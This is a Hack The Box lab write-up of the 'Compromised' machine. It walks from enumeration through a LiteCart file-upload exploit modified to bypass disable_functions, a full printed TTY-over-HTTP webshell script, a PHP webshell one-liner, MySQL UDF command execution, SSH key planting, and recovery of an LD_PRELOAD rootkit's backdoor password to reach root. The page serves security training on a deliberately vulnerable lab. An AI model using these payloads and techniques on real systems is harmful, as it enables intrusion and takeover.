HTB WriteUps
  • â„šī¸Main Page
  • 👨‍đŸ’ģwhoami
  • Linux Machines
    • Lame
    • Shocker
    • Beep
    • Jarvis
    • Europa
    • Knife
    • Irked
    • Postman
    • Mango
    • Cap
    • Writer
    • Bashed
    • Nibbles
    • Valentine
    • SwagShop
    • Tabby
    • SolidState
    • Doctor
    • OpenAdmin
    • Haircut
    • Blocky
    • Time
    • Passage
    • Mirai
    • Popcorn
    • Magic
    • Delivery
    • Blunder
    • BountyHounter
    • Cronos
    • TartarSauce
    • Ophiuchi
    • Seal
    • Ready
    • Admirer
    • Traverxec
    • Nineveh
    • FriendZone
    • Frolic
    • SneakyMailer
    • Brainfuck
    • Jewel
    • Node
    • Networked
    • Joker
    • RedCross
    • Static
    • Zetta
    • Kotarak
    • Falafel
    • DevOops
    • Hawk
    • Lightweight
    • LaCasaDePapel
    • Jail
    • Safe
    • Bitlab
    • October
    • Book
    • Quick
    • Sink
    • Pit
    • Monitors
    • Unobtainium
    • Inception
    • Compromised
    • CrimeStoppers
    • OneTwoSeven
    • Oz
    • Ellingson
    • Holiday
    • FluJab
    • Spider
    • CTF
  • Windows Machines
    • Jerry
    • Love
    • Arctic
    • Forest
    • Fuse
    • Bastard
    • Silo
    • Devel
    • Remote
    • ServMon
    • Blue
    • Grandpa
    • Legacy
    • SecNotes
    • Omni
    • Active
    • Granny
    • Optimum
    • Worker
    • Bastion
    • Bounty
    • Buff
    • Breadcrums
    • Reel
    • Reel2
    • Conceal
    • Bankrobber
    • Jeeves
    • Bart
    • Tally
    • Netmon
    • Sizzle
    • Sniper
    • Control
    • Nest
    • Sauna
    • Cascade
    • Querier
    • Blackfield
    • APT
    • Atom
  • OTHER OS MACHINES
    • Sense
    • Luanne
    • Poison
    • Schooled
Powered by GitBook
On this page
  • Enumeration
  • Exploitation
  • Privilege Escalation

Was this helpful?

  1. Linux Machines

Compromised

Last updated 2 years ago

Was this helpful?

Enumeration

As always, we start with the enumeration phase, in which we try to scan the machine looking for open ports and finding out services and versions of those opened ports.

The following nmap command will scan the target machine looking for open ports in a fast way and saving the output into a file:

nmap -sS --min-rate 5000 -p- -T5 -Pn -n 10.10.10.207 -oN allPorts

  • -sS use the TCP SYN scan option. This scan option is relatively unobtrusive and stealthy, since it never completes TCP connections.

  • --min-rate 5000 nmap will try to keep the sending rate at or above 5000 packets per second.

  • -p- scanning the entire port range, from 1 to 65535.

  • -T5 insane mode, it is the fastest mode of the nmap time template.

  • -Pn assume the host is online.

  • -n scan without reverse DNS resolution.

  • -oN save the scan result into a file, in this case the allports file.

# Nmap 7.93 scan initiated Thu Apr 27 13:15:07 2023 as: nmap -sS --min-rate 5000 -p- -n -Pn -oN allPorts 10.10.10.207
Nmap scan report for 10.10.10.207
Host is up (0.038s latency).
Not shown: 65533 filtered tcp ports (no-response)
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

# Nmap done at Thu Apr 27 13:15:34 2023 -- 1 IP address (1 host up) scanned in 26.47 seconds

Now that we know which ports are open, let's try to obtain the services and versions running on these ports. The following command will scan these ports more in depth and save the result into a file:

nmap -sC -sV -p22,80 10.10.10.207 -oN targeted

  • -sC performs the scan using the default set of scripts.

  • -sV enables version detection.

  • -oN save the scan result into file, in this case the targeted file.

# Nmap 7.93 scan initiated Thu Apr 27 13:16:00 2023 as: nmap -sCV -p22,80 -Pn -n -oN targeted 10.10.10.207
Nmap scan report for 10.10.10.207
Host is up (0.033s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 6eda5c8e8efb8e75274ab92a59cd4bcb (RSA)
|   256 d5c5b30dc8b669e4fb13a3814a1516d2 (ECDSA)
|_  256 356aeeafdcf85e670dbbf3ab18644790 (ED25519)
80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
| http-title: Legitimate Rubber Ducks | Online Store
|_Requested resource was http://10.10.10.207/shop/en/
|_http-server-header: Apache/2.4.29 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Thu Apr 27 13:16:12 2023 -- 1 IP address (1 host up) scanned in 11.87 seconds

There is a rubber duck online store hosted on port 80. It works with a LiteCart server.

There are a few interesting files that we can enumerate with gobuster.

gobuster dir -u http://10.10.10.207 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 200 -x php

  • dir enumerates directories or files.

  • -u the target URL.

  • -w path to the wordlist.

  • -t number of current threads, in this case 200 threads.

  • -x file extensions to search for.

===============================================================
Gobuster v3.5
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://10.10.10.207
[+] Method:                  GET
[+] Threads:                 200
[+] Wordlist:                /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.5
[+] Extensions:              php
[+] Timeout:                 10s
===============================================================
2023/04/27 19:42:21 Starting gobuster in directory enumeration mode
===============================================================
/shop                 (Status: 301) [Size: 311] [--> http://10.10.10.207/shop/]
/backup               (Status: 301) [Size: 313] [--> http://10.10.10.207/backup/]
/index.php            (Status: 302) [Size: 0] [--> /shop]
/.php                 (Status: 403) [Size: 277]
/.php                 (Status: 403) [Size: 277]
/server-status        (Status: 403) [Size: 277]
Progress: 441120 / 441122 (100.00%)
===============================================================
2023/04/27 19:49:08 Finished
===============================================================

The /backup directory contains a compressed file.

Download the file, and decompress it.

tar xf a.tar.gz

It contains a shop directory, with what looks like a backup of the web server.

ls -la shop/

total 76
drwxr-xr-x 11 root root  4096 May 28  2020 .
drwxr-xr-x  3 root root  4096 Apr 27 15:31 ..
drwxr-xr-x 24 root root  4096 Sep  3  2020 admin
drwxr-xr-x  2 root root  4096 May 28  2020 cache
drwxr-xr-x  2 root root  4096 May 28  2020 data
drwxr-xr-x  7 root root  4096 May 14  2018 ext
-rw-r--r--  1 root root 15086 May 28  2020 favicon.ico
-rw-r--r--  1 root root  2854 May 28  2020 .htaccess
drwxr-xr-x 10 root root  4096 May 28  2020 images
drwxr-xr-x 11 root root  4096 May 28  2020 includes
-rw-r--r--  1 root root  2508 May 14  2018 index.php
drwxr-xr-x  2 root root  4096 May 28  2020 logs
drwxr-xr-x  4 root root  4096 May 14  2018 pages
-rw-r--r--  1 root root    71 May 28  2020 robots.txt
-rw-r--r--  1 root root    35 May 28  2020 .sh.php
drwxr-xr-x  4 root root  4096 May 29  2020 vqmod

The .sh.php is a webshell. It looks like the server was compromissed.

cat shop/.sh.php

<?php system($_REQUEST['cmd']); ?>

Unfortunatelly for us, the webshell doesn't exist anymore in the web server.

http://10.10.10.207/.sh.php

There is one directory called admin, with some PHP files.

ls -la shop/admin/

total 116
drwxr-xr-x 24 root root 4096 Sep  3  2020 .
drwxr-xr-x 11 root root 4096 May 28  2020 ..
drwxr-xr-x  2 root root 4096 May 14  2018 addons.widget
drwxr-xr-x  2 root root 4096 May 14  2018 appearance.app
drwxr-xr-x  2 root root 4096 May 14  2018 catalog.app
drwxr-xr-x  2 root root 4096 May 14  2018 countries.app
drwxr-xr-x  2 root root 4096 May 14  2018 currencies.app
drwxr-xr-x  2 root root 4096 May 14  2018 customers.app
drwxr-xr-x  2 root root 4096 May 14  2018 discussions.widget
drwxr-xr-x  2 root root 4096 May 14  2018 geo_zones.app
drwxr-xr-x  2 root root 4096 May 14  2018 graphs.widget
-rw-r--r--  1 root root 6460 May 14  2018 index.php
drwxr-xr-x  2 root root 4096 May 14  2018 languages.app
-rw-r--r--  1 root root 1364 Sep  3  2020 login.php
-rw-r--r--  1 root root  203 May 14  2018 logout.php
drwxr-xr-x  2 root root 4096 May 14  2018 modules.app
drwxr-xr-x  2 root root 4096 May 14  2018 orders.app
drwxr-xr-x  2 root root 4096 May 14  2018 orders.widget
drwxr-xr-x  2 root root 4096 May 14  2018 pages.app
drwxr-xr-x  2 root root 4096 May 14  2018 reports.app
-rw-r--r--  1 root root 4094 May 14  2018 search_results.json.php
drwxr-xr-x  2 root root 4096 May 14  2018 settings.app
drwxr-xr-x  2 root root 4096 May 14  2018 slides.app
drwxr-xr-x  2 root root 4096 May 14  2018 stats.widget
drwxr-xr-x  2 root root 4096 May 14  2018 tax.app
drwxr-xr-x  2 root root 4096 May 14  2018 translations.app
drwxr-xr-x  2 root root 4096 May 28  2020 users.app
drwxr-xr-x  2 root root 4096 May 28  2020 vqmods.app

The login.php contains a comment with the name of a log file.

cat shop/admin/login.php

...
if (isset($_POST['login'])) {
    //file_put_contents("./.log2301c9430d8593ae.txt", "User: " . $_POST['username'] . " Passwd: " . $_POST['password']);
    user::login($_POST['username'], $_POST['password'], $redirect_url, isset($_POST['remember_me']) ? $_POST['remember_me'] : false);
  }
...

The .log2301c9430d8593ae.txt file contains credentials.

curl http://10.10.10.207/shop/admin/.log2301c9430d8593ae.txt

User: admin Passwd: theNextGenSt0r3!~

Let's use them in the login page in /shop/admin.

Once in, we'll see the version of te LiteCart software.

There is one arbitrary file upload vulnerability that affects this version of the software.

searchsploit litecart 2.1.2

-------------------------------------------------------------- ----------------------
 Exploit Title                                                |  Path
-------------------------------------------------------------- ----------------------
LiteCart 2.1.2 - Arbitrary File Upload                        | php/webapps/45267.py
-------------------------------------------------------------- ----------------------
Shellcodes: No Results

Let's move it to the current directory.

searchsploit -m php/webapps/45267.py

Exploitation

If we run the script, we'll see that it uploads the webshell successfully, but we can't run commands with it.

python2 45267.py -t http://10.10.10.207/shop/admin/ -p 'theNextGenSt0r3!~' -u admin

Shell => http://10.10.10.207/shop/admin/../vqmod/xml/LTD8M.php?c=id

Let's modify the exploit. Instead of run a PHP webshell, we'll make it show PHP information.

nano 45267.py

files = {
        'vqmod': (rand + ".php", "<?php phpinfo(); ?>", "application/xml"),
        'token':one,
        'upload':(None,"Upload")
    }

Now, run the exploit again, and check the uploaded file to see phpinfo() function.

python2 45267.py -t http://10.10.10.207/shop/admin/ -p 'theNextGenSt0r3!~' -u admin

As we can see in the disable_functions section, all the functions that allow us to run commands on the system are disabled.

nano bypass.py

...
pwn($_GET['cmd']);
...

Now we need to make the exploit upload this code instead of the webshell.

nano 45267.py

...
bypass = open("bypass.php", "r").read()

files = {
        'vqmod': (rand + ".php", bypass, "application/xml"),
        'token':one,
        'upload':(None,"Upload")
    }
...

Run the script again to upload the bypass.php file.

python2 45267.py -t http://10.10.10.207/shop/admin/ -p 'theNextGenSt0r3!~' -u admin

Shell => http://10.10.10.207/shop/admin/../vqmod/xml/UYO5E.php?c=id

Now we are able to run commands on the system as www-data.

curl http://10.10.10.207/shop/vqmod/xml/UYO5E.php?cmd=whoami

www-data

wget https://raw.githubusercontent.com/s4vitar/ttyoverhttp/master/tty_over_http.py

nano tty_over_http.py

#!/usr/bin/python3

import requests, time, threading, pdb, signal, sys
from base64 import b64encode
from random import randrange

class AllTheReads(object):
	def __init__(self, interval=1):
		self.interval = interval
		thread = threading.Thread(target=self.run, args=())
		thread.daemon = True
		thread.start()

	def run(self):
		readoutput = """/bin/cat %s""" % (stdout)
		clearoutput = """echo '' > %s""" % (stdout)
		while True:
			output = RunCmd(readoutput)
			if output:
				RunCmd(clearoutput)
				print(output)
			time.sleep(self.interval)

def RunCmd(cmd):
	cmd = cmd.encode('utf-8')
	cmd = b64encode(cmd).decode('utf-8')
	payload = {
        	'cmd' : 'echo "%s" | base64 -d | sh' %(cmd)
		}
	result = (requests.get('http://10.10.10.207/shop/vqmod/xml/UYO5E.php', params=payload, timeout=5).text).strip()
	return result

def WriteCmd(cmd):
	cmd = cmd.encode('utf-8')
	cmd = b64encode(cmd).decode('utf-8')
	payload = {
		'cmd' : 'echo "%s" | base64 -d > %s' % (cmd, stdin)
	}
	result = (requests.get('http://10.10.10.207/shop/vqmod/xml/UYO5E.php', params=payload, timeout=5).text).strip()
	return result

def ReadCmd():
        GetOutput = """/bin/cat %s""" % (stdout)
        output = RunCmd(GetOutput)
        return output

def SetupShell():
	NamedPipes = """mkfifo %s; tail -f %s | /bin/sh 2>&1 > %s""" % (stdin, stdin, stdout)
	try:
		RunCmd(NamedPipes)
	except:
		None
	return None

global stdin, stdout
session = randrange(1000, 9999)
stdin = "/dev/shm/input.%s" % (session)
stdout = "/dev/shm/output.%s" % (session)
erasestdin = """/bin/rm %s""" % (stdin)
erasestdout = """/bin/rm %s""" % (stdout)

SetupShell()

ReadingTheThings = AllTheReads()

def sig_handler(sig, frame):
	print("\n\n[*] Exiting...\n")
	print("[*] Removing files...\n")
	RunCmd(erasestdin)
	RunCmd(erasestdout)
	print("[*] All files have been deleted\n")
	sys.exit(0)

signal.signal(signal.SIGINT, sig_handler)

while True:
	cmd = input("> ")
	WriteCmd(cmd + "\n")
	time.sleep(1.1)

Run the script to get a shell in the sever.

rlwrap python tty_over_http.py

> whoami
www-data
> hostname
compromised

Privilege Escalation

There are two users who use a bash in the system.

grep sh /etc/passwd

root:x:0:0:root:/root:/bin/bash
sshd:x:110:65534::/run/sshd:/usr/sbin/nologin
sysadmin:x:1000:1000:compromise:/home/sysadmin:/bin/bash
mysql:x:111:113:MySQL Server,,,:/var/lib/mysql:/bin/bash

There is one file called config.inc.php with credentials for the MySQL database.

cat /var/www/html/shop/includes/config.inc.php

...
// Database
  define('DB_TYPE', 'mysql');
  define('DB_SERVER', 'localhost');
  define('DB_USERNAME', 'root');
  define('DB_PASSWORD', 'changethis');
  define('DB_DATABASE', 'ecom');
  define('DB_TABLE_PREFIX', 'lc_');
  define('DB_CONNECTION_CHARSET', 'utf8');
  define('DB_PERSISTENT_CONNECTIONS', 'false');
...

Let's see what databases we can access with these credentials.

mysql -uroot -pchangethis -e "show databases;"

information_schema
ecom
mysql
performance_schema
sys

Sometimes there are functions stored in the mysql database. In this case, there is one called exec_cmd.

mysql -uroot -pchangethis -e "select * from mysql.func"

name        ret     dl              type
exec_cmd    0       libmysql.so     function

Using this function we are able to run commands as the mysql user.

mysql -uroot -pchangethis -e "select exec_cmd('whoami')"

mysql

As port 22 is open, we can grab our public SSH key, and put it in the authorized_keys file of the mysql user.

cat ~/.ssh/id_rsa.pub | tr -d '\n' | base64 | xclip -sel clip

Now, put it in the the authorized_keys file of the mysql user, located in his home directory /var/lib/mysql/.

mysql -uroot -pchangethis -e "select exec_cmd('echo c3N...zYQ== | base64 -d > /var/lib/mysql/.ssh/authorized_keys')"

Now we can get a shell via SSH as mysql without any password.

ssh mysql@10.10.10.207

Last login: Thu Apr 27 15:04:47 2023 from 10.10.14.4
mysql@compromised:~$ whoami
mysql

We need to become the sysadmin user to get the user flag. We are currently in the mysql home directory /var/lib/mysql, which contains a file called strace-log.dat.

ls -la

total 189280
...                                                                                
-r--r-----  1 root  mysql   787180 May 13  2020 strace-log.dat                                                                              
...

If we search for the password word in the file, we'll see some credentials.

grep -i password strace-log.dat

22102 03:11:06 write(2, "mysql -u root --password='3*NLJE"..., 39) = 39
22227 03:11:09 execve("/usr/bin/mysql", ["mysql", "-u", "root", "--password=3*NLJE32I$Fe"], 0x55bc62467900 /* 21 vars */) = 0
22227 03:11:09 write(2, "[Warning] Using a password on th"..., 73) = 73
22102 03:11:10 write(2, "mysql -u root --password='3*NLJE"..., 39) = 39
22228 03:11:15 execve("/usr/bin/mysql", ["mysql", "-u", "root", "--password=changeme"], 0x55bc62467900 /* 21 vars */) = 0
22228 03:11:15 write(2, "[Warning] Using a password on th"..., 73) = 73
22102 03:11:16 write(2, "mysql -u root --password='change"..., 35) = 35
22229 03:11:18 execve("/usr/bin/mysql", ["mysql", "-u", "root", "--password=changethis"], 0x55bc62467900 /* 21 vars */) = 0
22229 03:11:18 write(2, "[Warning] Using a password on th"..., 73) = 73
22232 03:11:52 openat(AT_FDCWD, "/etc/pam.d/common-password", O_RDONLY) = 5
22232 03:11:52 read(5, "#\n# /etc/pam.d/common-password -"..., 4096) = 1440
22232 03:11:52 write(4, "[sudo] password for sysadmin: ", 30) = 30

Using the found password, we'll be able to become the sysadmin user, and then we could grab the user flag.

su sysadmin

Password: 3*NLJE32I$Fe
sysadmin@compromised:/var/lib/mysql$ whoami
sysadmin
sysadmin@compromised:/var/lib/mysql$ cat /home/sysadmin/user.txt 
47de7dc8388ea72c09a894ade95b4de4

As we know that this machine has been compromised before, maybe the attacker had a rootkit to escalate privileges easily. One way to do it is by hooking functions via LDPRELOAD.

find / -name preload 2>/dev/null

/etc/ld.so.preload

It uses libdate.so.

cat /etc/ld.so.preload

/lib/x86_64-linux-gnu/libdate.so

Base64 encode its content.

cat /lib/x86_64-linux-gnu/libdate.so | base64 -w 0

Then, transfer it to our local machine.

echo f0V...AAA= | base64 -d > libdate.so

Now, let's use radare2 to inspect the file more in depth.

radare2 libdate.so

[0x00001060]> aaa

[0x00001060]> afl

[0x00001060]> aaa
[x] Analyze all flags starting with sym. and entry0 (aa)
[x] Analyze function calls (aac)
[x] Analyze len bytes of instructions for references (aar)
[x] Finding and parsing C++ vtables (avrr)
[x] Type matching analysis for all functions (aaft)
[x] Propagate noreturn information (aanr)
[x] Use -AA or aaaa to perform additional experimental analysis.
[0x00001060]> afl
0x00001060    3 205          entry0
0x00001040    1 6            sym.imp.dlsym
0x00001050    1 6            sym.imp.strstr
0x00001020    1 6            sym.imp.setgid
0x00001030    1 6            sym.imp.setuid
0x00001010    1 6            sym.imp.execve

If we inspect entry0, we'll see that it has a password.

[0x00001060]> s entry0

[0x00001060]> pdf

...
│           0x000010a1      488945f0       mov qword [var_10h], rax
│           0x000010a5      c645d032       mov byte [s2], 0x32         ; '2'
│           0x000010a9      c645d177       mov byte [var_2fh], 0x77    ; 'w'
│           0x000010ad      c645d26b       mov byte [var_2eh], 0x6b    ; 'k'
│           0x000010b1      c645d365       mov byte [var_2dh], 0x65    ; 'e'
│           0x000010b5      c645d44f       mov byte [var_2ch], 0x4f    ; 'O'
│           0x000010b9      c645d555       mov byte [var_2bh], 0x55    ; 'U'
│           0x000010bd      c645d634       mov byte [var_2ah], 0x34    ; '4'
│           0x000010c1      c645d773       mov byte [var_29h], 0x73    ; 's'
│           0x000010c5      c645d86a       mov byte [var_28h], 0x6a    ; 'j'
│           0x000010c9      c645d976       mov byte [var_27h], 0x76    ; 'v'
│           0x000010cd      c645da38       mov byte [var_26h], 0x38    ; '8'
│           0x000010d1      c645db34       mov byte [var_25h], 0x34    ; '4'
│           0x000010d5      c645dc6f       mov byte [var_24h], 0x6f    ; 'o'
│           0x000010d9      c645dd6b       mov byte [var_23h], 0x6b    ; 'k'
│           0x000010dd      c645de2f       mov byte [var_22h], 0x2f    ; '/'
│           0x000010e1      c645df00       mov byte [var_21h], 0

...

As this hijacks the read function, whenever we use that function, and enter the 2wkeOU4sjv84ok/ password, we'll get a shell as root. We could do this with the passwd command. Then, all we have to do is reap the harvest and take the root flag.

passwd

Changing password for sysadmin.
(current) UNIX password: 2wkeOU4sjv84ok/ # reset: unknown terminal type unknown
Terminal type? xterm
Erase is control-H (^H).
# whoami
root
# cat /root/root.txt
1be6fb819feed00629ca171c54a3ac40

But there is still a way to run commands on the system using the code. Download it, and modify it the call of the pwn function.

We won't be able to get a shell, because there seems to some kind of firewall blocking connections from the inside. But we can use tools such as to get a TTY shell over a n HTTP webshell. Download the script, and modify it to add the path to the webshell.

PHP 7.3 disable_functions Bypass
ttyoverhttp